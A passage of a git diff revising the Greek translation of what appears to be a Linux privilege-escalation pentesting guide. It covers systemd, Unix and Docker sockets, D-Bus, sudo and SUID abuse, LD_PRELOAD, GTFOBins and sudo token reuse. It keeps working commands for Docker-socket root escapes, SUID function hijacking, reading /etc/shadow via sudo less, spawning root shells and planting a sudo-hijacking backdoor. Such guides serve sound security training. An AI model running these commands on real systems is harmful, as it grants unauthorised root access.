ονομάζονται ομοίως, εκτός από το επίθημα. -Επομένως, για να εκμεταλλευτείτε αυτήν την άδεια θα χρειαστεί να: +Επομένως, για να εκμεταλλευτείτε αυτή την άδεια θα χρειαστεί να: - Βρείτε κάποια μονάδα systemd (όπως μια `.service`) που **εκτελεί ένα εγγράψιμο δυαδικό αρχείο** -- Βρείτε κάποια μονάδα systemd που **εκτελεί μια σχετική διαδρομή** και έχετε **δικαιώματα εγγραφής** πάνω στη **διαδρομή systemd** (για να προσποιηθείτε ότι είστε αυτό το εκτελέσιμο) +- Βρείτε κάποια μονάδα systemd που **εκτελεί μια σχετική διαδρομή** και έχετε **δικαιώματα εγγραφής** πάνω στη **διαδρομή systemd** (για να προσποιηθείτε ότι είστε αυτή η εκτελέσιμη) **Μάθετε περισσότερα για τους χρονοδιακόπτες με `man systemd.timer`.** @@ -435,21 +437,21 @@ Unit=backdoor.service sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Σημειώστε ότι ο **χρονιστής** είναι **ενεργοποιημένος** δημιουργώντας έναν symlink σε αυτόν στο `/etc/systemd/system/.wants/.timer` +Σημειώστε ότι ο **χρονιστής** είναι **ενεργοποιημένος** δημιουργώντας ένα symlink σε αυτόν στο `/etc/systemd/system/.wants/.timer` ## Sockets -Οι Unix Domain Sockets (UDS) επιτρέπουν την **επικοινωνία διεργασιών** σε ίδιες ή διαφορετικές μηχανές εντός μοντέλων client-server. Χρησιμοποιούν τα πρότυπα αρχεία περιγραφής Unix για την επικοινωνία μεταξύ υπολογιστών και ρυθμίζονται μέσω αρχείων `.socket`. +Οι Unix Domain Sockets (UDS) επιτρέπουν την **επικοινωνία διεργασιών** στην ίδια ή σε διαφορετικές μηχανές εντός μοντέλων client-server. Χρησιμοποιούν τα πρότυπα αρχεία περιγραφέα Unix για την επικοινωνία μεταξύ υπολογιστών και ρυθμίζονται μέσω αρχείων `.socket`. Οι Sockets μπορούν να ρυθμιστούν χρησιμοποιώντας αρχεία `.socket`. **Μάθετε περισσότερα για τους sockets με `man systemd.socket`.** Μέσα σε αυτό το αρχείο, μπορούν να ρυθμιστούν αρκετές ενδιαφέρουσες παράμετροι: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές είναι διαφορετικές αλλά χρησιμοποιείται μια σύνοψη για να **υποδείξει πού θα ακούσει** ο socket (η διαδρομή του αρχείου socket AF_UNIX, η διεύθυνση IPv4/6 και/ή ο αριθμός θύρας για ακρόαση, κ.λπ.) +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές είναι διαφορετικές, αλλά χρησιμοποιείται μια σύνοψη για να **υποδείξει πού θα ακούσει** ο socket (η διαδρομή του αρχείου socket AF_UNIX, η διεύθυνση IPv4/6 και/ή ο αριθμός θύρας για ακρόαση, κ.λπ.) - `Accept`: Δέχεται ένα boolean επιχείρημα. Αν είναι **true**, μια **εγκατάσταση υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο ο socket σύνδεσης μεταβιβάζεται σε αυτήν. Αν είναι **false**, όλοι οι ακροατές sockets μεταβιβάζονται **στην ξεκινώμενη μονάδα υπηρεσίας**, και μόνο μία μονάδα υπηρεσίας δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για sockets datagram και FIFOs όπου μια μοναδική μονάδα υπηρεσίας χειρίζεται χωρίς όρους όλη την εισερχόμενη κίνηση. **Προεπιλογή είναι το false**. Για λόγους απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Δέχεται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τη δημιουργία και δέσμευση των ακροατών **sockets**/FIFOs, αντίστοιχα. Ο πρώτος τόκος της γραμμής εντολών πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από επιχειρήματα για τη διαδικασία. -- `ExecStopPre`, `ExecStopPost`: Πρόσθετες **εντολές** που **εκτελούνται πριν** ή **μετά** το κλείσιμο και την αφαίρεση των ακροατών **sockets**/FIFOs, αντίστοιχα. -- `Service`: Προσδιορίζει το όνομα της μονάδας **υπηρεσίας** **που θα ενεργοποιηθεί** με **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η υπηρεσία που φέρει το ίδιο όνομα με τον socket (με το επίθημα να έχει αντικατασταθεί). Στις περισσότερες περιπτώσεις, δεν θα είναι απαραίτητο να χρησιμοποιήσετε αυτήν την επιλογή. +- `ExecStartPre`, `ExecStartPost`: Δέχεται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τη δημιουργία και δέσμευση των ακροατών **sockets**/FIFOs, αντίστοιχα. Ο πρώτος χαρακτήρας της γραμμής εντολών πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από επιχειρήματα για τη διαδικασία. +- `ExecStopPre`, `ExecStopPost`: Πρόσθετες **εντολές** που εκτελούνται **πριν** ή **μετά** το κλείσιμο και την αφαίρεση των ακροατών **sockets**/FIFOs, αντίστοιχα. +- `Service`: Προσδιορίζει το όνομα της μονάδας **υπηρεσίας** **που θα ενεργοποιηθεί** με την **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η υπηρεσία που φέρει το ίδιο όνομα με τον socket (με το επίθημα να έχει αντικατασταθεί). Στις περισσότερες περιπτώσεις, δεν θα πρέπει να είναι απαραίτητο να χρησιμοποιήσετε αυτήν την επιλογή. ### Writable .socket files @@ -475,13 +477,14 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of ``` **Παράδειγμα εκμετάλλευσης:** + {{#ref}} socket-command-injection.md {{#endref}} ### HTTP sockets -Σημειώστε ότι μπορεί να υπάρχουν κάποια **sockets που ακούν για HTTP** αιτήματα (_Δεν μιλάω για αρχεία .socket αλλά για τα αρχεία που λειτουργούν ως unix sockets_). Μπορείτε να το ελέγξετε αυτό με: +Σημειώστε ότι μπορεί να υπάρχουν κάποια **sockets που ακούνε για HTTP** αιτήματα (_Δεν μιλάω για αρχεία .socket αλλά για τα αρχεία που λειτουργούν ως unix sockets_). Μπορείτε να το ελέγξετε αυτό με: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` @@ -489,11 +492,11 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ### Γράψιμο Docker Socket -Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που θα πρέπει να ασφαλίζεται. Από προεπιλογή, είναι εγ writable από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιωμάτων εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε κλιμάκωση δικαιωμάτων. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν η Docker CLI δεν είναι διαθέσιμη. +Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που θα πρέπει να ασφαλίζεται. Από προεπιλογή, είναι εγ writable από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιώματος εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε κλιμάκωση δικαιωμάτων. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν η Docker CLI δεν είναι διαθέσιμη. #### **Κλιμάκωση Δικαιωμάτων με Docker CLI** -Αν έχετε δικαιώματα εγγραφής στο Docker socket, μπορείτε να κλιμακώσετε τα δικαιώματα χρησιμοποιώντας τις παρακάτω εντολές: +Αν έχετε δικαίωμα εγγραφής στο Docker socket, μπορείτε να κλιμακώσετε τα δικαιώματα χρησιμοποιώντας τις παρακάτω εντολές: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh @@ -538,7 +541,8 @@ Upgrade: tcp Σημειώστε ότι αν έχετε δικαιώματα εγγραφής πάνω στη υποδοχή docker επειδή είστε **μέσα στην ομάδα `docker`** έχετε [**περισσότερους τρόπους για να κλιμακώσετε τα δικαιώματα**](interesting-groups-linux-pe/index.html#docker-group). Αν το [**docker API ακούει σε μια θύρα** μπορείτε επίσης να το παραβιάσετε](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Δείτε **περισσότερους τρόπους για να σπάσετε από το docker ή να το κακοποιήσετε για να κλιμακώσετε τα δικαιώματα** στο: +Ελέγξτε **περισσότερους τρόπους για να σπάσετε από το docker ή να το κακοποιήσετε για να κλιμακώσετε τα δικαιώματα** στο: + {{#ref}} docker-security/ @@ -548,6 +552,7 @@ docker-security/ Αν διαπιστώσετε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`ctr`** διαβάστε την παρακάτω σελίδα καθώς **μπορεί να μπορείτε να την κακοποιήσετε για να κλιμακώσετε τα δικαιώματα**: + {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} @@ -556,21 +561,22 @@ containerd-ctr-privilege-escalation.md Αν διαπιστώσετε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`runc`** διαβάστε την παρακάτω σελίδα καθώς **μπορεί να μπορείτε να την κακοποιήσετε για να κλιμακώσετε τα δικαιώματα**: + {{#ref}} runc-privilege-escalation.md {{#endref}} ## **D-Bus** -Το D-Bus είναι ένα εξελιγμένο **σύστημα Επικοινωνίας Μεταξύ Διαδικασιών (IPC)** που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα αποτελεσματικά. Σχεδιασμένο με γνώμονα το σύγχρονο σύστημα Linux, προσφέρει ένα ισχυρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών. +Το D-Bus είναι ένα προηγμένο **σύστημα Επικοινωνίας Μεταξύ Διαδικασιών (IPC)** που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα αποτελεσματικά. Σχεδιασμένο με γνώμονα το σύγχρονο σύστημα Linux, προσφέρει ένα ισχυρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών. -Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που ενισχύει την ανταλλαγή δεδομένων μεταξύ διαδικασιών, θυμίζοντας **βελτιωμένες υποδοχές τομέα UNIX**. Επιπλέον, βοηθά στην εκπομπή γεγονότων ή σημάτων, προάγοντας την ομαλή ενσωμάτωση μεταξύ των συστατικών του συστήματος. Για παράδειγμα, ένα σήμα από έναν δαίμονα Bluetooth σχετικά με μια εισερχόμενη κλήση μπορεί να προκαλέσει έναν αναπαραγωγέα μουσικής να σιγήσει, βελτιώνοντας την εμπειρία του χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα σύστημα απομακρυσμένων αντικειμένων, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, ρέοντας διαδικασίες που παραδοσιακά ήταν περίπλοκες. +Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που ενισχύει την ανταλλαγή δεδομένων μεταξύ διαδικασιών, θυμίζοντας **βελτιωμένες υποδοχές τομέα UNIX**. Επιπλέον, βοηθά στη μετάδοση γεγονότων ή σημάτων, προάγοντας την ομαλή ενσωμάτωση μεταξύ των συστατικών του συστήματος. Για παράδειγμα, ένα σήμα από έναν δαίμονα Bluetooth σχετικά με μια εισερχόμενη κλήση μπορεί να προκαλέσει έναν αναπαραγωγέα μουσικής να σιγήσει, βελτιώνοντας την εμπειρία του χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα σύστημα απομακρυσμένων αντικειμένων, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, ρέοντας διαδικασίες που παραδοσιακά ήταν περίπλοκες. -Το D-Bus λειτουργεί με ένα **μοντέλο επιτρέπει/αρνείται**, διαχειριζόμενο τις άδειες μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) με βάση το σωρευτικό αποτέλεσμα των κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το λεωφορείο, επιτρέποντας ενδεχομένως την κλιμάκωση δικαιωμάτων μέσω της εκμετάλλευσης αυτών των αδειών. +Το D-Bus λειτουργεί με ένα **μοντέλο επιτρεπόμενου/απαγορευμένου**, διαχειριζόμενο τις άδειες μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) με βάση το σωρευτικό αποτέλεσμα των κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το λεωφορείο, επιτρέποντας ενδεχομένως την κλιμάκωση δικαιωμάτων μέσω της εκμετάλλευσης αυτών των αδειών. Ένα παράδειγμα μιας τέτοιας πολιτικής στο `/etc/dbus-1/system.d/wpa_supplicant.conf` παρέχεται, λεπτομερώνοντας τις άδειες για τον χρήστη root να κατέχει, να στέλνει και να λαμβάνει μηνύματα από `fi.w1.wpa_supplicant1`. -Οι πολιτικές χωρίς καθορισμένο χρήστη ή ομάδα ισχύουν καθολικά, ενώ οι πολιτικές "προεπιλογής" ισχύουν για όλους όσους δεν καλύπτονται από άλλες συγκεκριμένες πολιτικές. +Οι πολιτικές χωρίς καθορισμένο χρήστη ή ομάδα ισχύουν καθολικά, ενώ οι πολιτικές "προεπιλογής" ισχύουν για όλα τα μη καλυπτόμενα από άλλες συγκεκριμένες πολιτικές. ```xml @@ -660,6 +666,7 @@ gpg --list-keys 2>/dev/null Ελέγξτε αν είστε **μέλος κάποιου γκρουπ** που θα μπορούσε να σας δώσει δικαιώματα root: + {{#ref}} interesting-groups-linux-pe/ {{#endref}} @@ -681,9 +688,9 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Γνωστοί κωδικοί +### Γνωστοί κωδικοί πρόσβασης -Αν **γνωρίζετε οποιονδήποτε κωδικό** του περιβάλλοντος **προσπαθήστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας τον κωδικό. +Αν **γνωρίζετε οποιονδήποτε κωδικό πρόσβασης** του περιβάλλοντος **δοκιμάστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας τον κωδικό. ### Su Brute @@ -694,7 +701,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ### $PATH -Αν διαπιστώσετε ότι μπορείτε να **γράψετε μέσα σε κάποιον φάκελο του $PATH** μπορεί να είστε σε θέση να κλιμακώσετε τα δικαιώματα σας δημιουργώντας **μια πίσω πόρτα μέσα στον γράψιμο φάκελο** με το όνομα κάποιας εντολής που πρόκειται να εκτελεστεί από διαφορετικό χρήστη (ιδανικά root) και που **δεν φορτώνεται από φάκελο που βρίσκεται πριν** από τον γράψιμο φάκελο σας στο $PATH. +Αν διαπιστώσετε ότι μπορείτε να **γράψετε μέσα σε κάποιον φάκελο του $PATH** μπορεί να είστε σε θέση να κλιμακώσετε τα δικαιώματα σας δημιουργώντας **μια πίσω πόρτα μέσα στον εγγράψιμο φάκελο** με το όνομα κάποιας εντολής που πρόκειται να εκτελεστεί από έναν διαφορετικό χρήστη (ιδανικά root) και που **δεν φορτώνεται από φάκελο που βρίσκεται πριν** από τον εγγράψιμο φάκελο σας στο $PATH. ### SUDO και SUID @@ -738,7 +745,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### Sudo execution bypassing paths -**Πηδήξτε** για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε **symlinks**. Για παράδειγμα, στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Πηδήξτε** για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε **συμβολικούς συνδέσμους**. Για παράδειγμα, στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -769,14 +776,14 @@ sudo less ### SUID δυαδικό αρχείο με διαδρομή εντολής -Αν το **suid** δυαδικό αρχείο **εκτελεί μια άλλη εντολή καθορίζοντας τη διαδρομή**, τότε, μπορείς να προσπαθήσεις να **εξάγεις μια συνάρτηση** με το όνομα της εντολής που καλεί το suid αρχείο. +Αν το **suid** δυαδικό αρχείο **εκτελεί μια άλλη εντολή καθορίζοντας τη διαδρομή**, τότε, μπορείς να προσπαθήσεις να **εξάγεις μια συνάρτηση** με το όνομα της εντολής που καλεί το αρχείο suid. -Για παράδειγμα, αν ένα suid δυαδικό αρχείο καλεί _**/usr/sbin/service apache2 start**_, πρέπει να προσπαθήσεις να δημιουργήσεις τη συνάρτηση και να την εξάγεις: +Για παράδειγμα, αν ένα suid δυαδικό αρχείο καλεί _**/usr/sbin/service apache2 start**_ πρέπει να προσπαθήσεις να δημιουργήσεις τη συνάρτηση και να την εξάγεις: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Τότε, όταν καλέσετε το δυαδικό αρχείο suid, αυτή η συνάρτηση θα εκτελείται +Τότε, όταν καλέσετε το δυαδικό αρχείο suid, αυτή η λειτουργία θα εκτελείται ### LD_PRELOAD & **LD_LIBRARY_PATH** @@ -842,7 +849,7 @@ strace 2>&1 | grep -i -E "open|access|no such file" ``` Για παράδειγμα, η εμφάνιση ενός σφάλματος όπως _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ υποδηλώνει μια πιθανότητα εκμετάλλευσης. -Για να εκμεταλλευτεί κανείς αυτό, θα προχωρήσει δημιουργώντας ένα αρχείο C, ας πούμε _"/path/to/.config/libcalc.c"_, που θα περιέχει τον παρακάτω κώδικα: +Για να εκμεταλλευτεί κανείς αυτό, θα προχωρήσει στη δημιουργία ενός αρχείου C, ας πούμε _"/path/to/.config/libcalc.c"_, που θα περιέχει τον παρακάτω κώδικα: ```c #include #include @@ -894,39 +901,41 @@ system("/bin/bash -p"); [**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα Unix binaries που μπορούν να εκμεταλλευτούν από έναν επιτιθέμενο για να παρακάμψει τους τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **μόνο να εισάγετε επιχειρήματα** σε μια εντολή. -Το έργο συλλέγει νόμιμες συναρτήσεις Unix binaries που μπορούν να καταχραστούν για να σπάσουν περιορισμένα κέλυφα, να κλιμακώσουν ή να διατηρήσουν ανυψωμένα δικαιώματα, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες μετά την εκμετάλλευση. +Το έργο συλλέγει νόμιμες συναρτήσεις Unix binaries που μπορούν να καταχραστούν για να σπάσουν περιορισμένα κέλυφη, να κλιμακώσουν ή να διατηρήσουν ανυψωμένα προνόμια, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες μετά την εκμετάλλευση. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' + {{#ref}} https://gtfobins.github.io/ {{#endref}} + {{#ref}} https://gtfoargs.github.io/ {{#endref}} ### FallOfSudo -Εάν μπορείτε να έχετε πρόσβαση στο `sudo -l`, μπορείτε να χρησιμοποιήσετε το εργαλείο [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) για να ελέγξετε αν βρίσκει πώς να εκμεταλλευτεί οποιονδήποτε κανόνα sudo. +Αν μπορείτε να έχετε πρόσβαση στο `sudo -l` μπορείτε να χρησιμοποιήσετε το εργαλείο [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) για να ελέγξετε αν βρίσκει πώς να εκμεταλλευτεί οποιονδήποτε κανόνα sudo. ### Επαναχρησιμοποίηση Σημείων Sudo -Σε περιπτώσεις όπου έχετε **sudo access** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να κλιμακώσετε τα δικαιώματα σας **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια υφαρπάζοντας το session token**. +Σε περιπτώσεις όπου έχετε **πρόσβαση sudo** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να κλιμακώσετε τα προνόμια σας **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια αναλαμβάνοντας το session token**. -Απαιτήσεις για την κλιμάκωση δικαιωμάτων: +Απαιτήσεις για την κλιμάκωση προνομίων: -- Έχετε ήδη ένα shell ως χρήστης "_sampleuser_" +- Έχετε ήδη ένα κέλυφος ως χρήστης "_sampleuser_" - "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι στα **τελευταία 15 λεπτά** (κατά προεπιλογή αυτή είναι η διάρκεια του sudo token που μας επιτρέπει να χρησιμοποιούμε `sudo` χωρίς να εισάγουμε οποιονδήποτε κωδικό πρόσβασης) - `cat /proc/sys/kernel/yama/ptrace_scope` είναι 0 - `gdb` είναι προσβάσιμο (μπορείτε να το ανεβάσετε) (Μπορείτε προσωρινά να ενεργοποιήσετε το `ptrace_scope` με `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ή μόνιμα τροποποιώντας το `/etc/sysctl.d/10-ptrace.conf` και ρυθμίζοντας `kernel.yama.ptrace_scope = 0`) -Εάν πληρούνται όλες αυτές οι απαιτήσεις, **μπορείτε να κλιμακώσετε τα δικαιώματα χρησιμοποιώντας:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Αν πληρούνται όλες αυτές οι απαιτήσεις, **μπορείτε να κλιμακώσετε τα προνόμια χρησιμοποιώντας:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) - Η **πρώτη εκμετάλλευση** (`exploit.sh`) θα δημιουργήσει το binary `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το sudo token στη συνεδρία σας** (δεν θα αποκτήσετε αυτόματα ένα root shell, κάντε `sudo su`): ```bash @@ -979,7 +988,7 @@ permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Αν γνωρίζετε ότι ένας **χρήστης συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί το `sudo`** για να κερδίσει δικαιώματα, και έχετε αποκτήσει ένα shell μέσα σε αυτό το περιβάλλον χρήστη, μπορείτε να **δημιουργήσετε ένα νέο εκτελέσιμο sudo** που θα εκτελεί τον κώδικά σας ως root και στη συνέχεια την εντολή του χρήστη. Στη συνέχεια, **τροποποιήστε το $PATH** του περιβάλλοντος χρήστη (για παράδειγμα, προσθέτοντας τη νέα διαδρομή στο .bash_profile) έτσι ώστε όταν ο χρήστης εκτελεί το sudo, το εκτελέσιμο sudo σας να εκτελείται. +Αν γνωρίζετε ότι ένας **χρήστης συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί το `sudo`** για να αποκτήσει δικαιώματα, και έχετε αποκτήσει ένα shell μέσα σε αυτό το περιβάλλον χρήστη, μπορείτε να **δημιουργήσετε ένα νέο εκτελέσιμο sudo** που θα εκτελεί τον κώδικά σας ως root και στη συνέχεια την εντολή του χρήστη. Στη συνέχεια, **τροποποιήστε το $PATH** του περιβάλλοντος χρήστη (για παράδειγμα, προσθέτοντας τη νέα διαδρομή στο .bash_profile) έτσι ώστε όταν ο χρήστης εκτελεί το sudo, το εκτελέσιμο sudo σας να εκτελείται. Σημειώστε ότι αν ο χρήστης χρησιμοποιεί ένα διαφορετικό shell (όχι bash) θα χρειαστεί να τροποποιήσετε άλλα αρχεία για να προσθέσετε τη νέα διαδρομή. Για παράδειγμα, το [sudo-piggyback](https://github.com/APTy/sudo-piggyback) τροποποιεί τα `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Μπορείτε να βρείτε ένα άλλο παράδειγμα στο [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) @@ -1009,6 +1018,7 @@ sudo ls Αν για κάποιο λόγο **ένας χρήστης έχει δικαιώματα εγγραφής** σε οποιαδήποτε από τις διαδρομές που υποδεικνύονται: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, οποιοδήποτε αρχείο μέσα στο `/etc/ld.so.conf.d/` ή οποιονδήποτε φάκελο εντός του αρχείου ρυθμίσεων μέσα στο `/etc/ld.so.conf.d/*.conf`, μπορεί να είναι σε θέση να κλιμακώσει τα δικαιώματα.\ Ρίξτε μια ματιά στο **πώς να εκμεταλλευτείτε αυτή τη λανθασμένη ρύθμιση** στην επόμενη σελίδα: + {{#ref}} ld.so.conf-example.md {{#endref}} @@ -1049,7 +1059,7 @@ execve(file,argv,0); ## Δυνατότητες Οι δυνατότητες του Linux παρέχουν ένα **υποσύνολο των διαθέσιμων δικαιωμάτων root σε μια διαδικασία**. Αυτό σπάει αποτελεσματικά τα δικαιώματα root **σε μικρότερες και διακριτές μονάδες**. Κάθε μία από αυτές τις μονάδες μπορεί στη συνέχεια να παραχωρηθεί ανεξάρτητα σε διαδικασίες. Με αυτόν τον τρόπο, το πλήρες σύνολο δικαιωμάτων μειώνεται, μειώνοντας τους κινδύνους εκμετάλλευσης.\ -Διαβάστε την παρακάτω σελίδα για **να μάθετε περισσότερα σχετικά με τις δυνατότητες και πώς να τις εκμεταλλευτείτε**: +Διαβάστε την παρακάτω σελίδα για **να μάθετε περισσότερα για τις δυνατότητες και πώς να τις εκμεταλλευτείτε**: {{#ref}} linux-capabilities.md @@ -1058,11 +1068,11 @@ linux-capabilities.md ## Δικαιώματα καταλόγου Σε έναν κατάλογο, το **bit για "εκτέλεση"** υποδηλώνει ότι ο επηρεαζόμενος χρήστης μπορεί να "**cd**" στον φάκελο.\ -Το **bit "ανάγνωσης"** υποδηλώνει ότι ο χρήστης μπορεί να **καταγράψει** τα **αρχεία**, και το **bit "εγγραφής"** υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και να **δημιουργήσει** νέα **αρχεία**. +Το **"read"** bit υποδηλώνει ότι ο χρήστης μπορεί να **καταγράψει** τα **αρχεία**, και το **"write"** bit υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και να **δημιουργήσει** νέα **αρχεία**. ## ACLs -Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανών να **παρακάμπτουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περαιτέρω λεπτομέρειες μπορείτε να βρείτε [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανές να **παρακάμψουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περαιτέρω λεπτομέρειες μπορείτε να βρείτε [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux). **Δώστε** στον χρήστη "kali" δικαιώματα ανάγνωσης και εγγραφής σε ένα αρχείο: ```bash @@ -1075,9 +1085,9 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Ανοιχτές συνεδρίες shell +## Ανοιχτές συνεδρίες κελύφους -Σε **παλιές εκδόσεις** μπορείς να **παρακάμψεις** κάποιες **συνεδρίες shell** ενός διαφορετικού χρήστη (**root**).\ +Σε **παλιές εκδόσεις** μπορείς να **παρακάμψεις** κάποιες **συνεδρίες κελύφους** άλλου χρήστη (**root**).\ Σε **νεότερες εκδόσεις** θα μπορείς να **συνδεθείς** μόνο σε συνεδρίες οθόνης του **δικού σου χρήστη**. Ωστόσο, μπορείς να βρεις **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**. ### παρακάμψη συνεδριών οθόνης @@ -1151,7 +1161,7 @@ AuthorizedKeysFile .ssh/authorized_keys access ### ForwardAgent/AllowAgentForwarding -Η προώθηση του SSH agent σας επιτρέπει να **χρησιμοποιείτε τα τοπικά σας SSH κλειδιά αντί να αφήνετε κλειδιά** (χωρίς κωδικούς πρόσβασης!) να βρίσκονται στον διακομιστή σας. 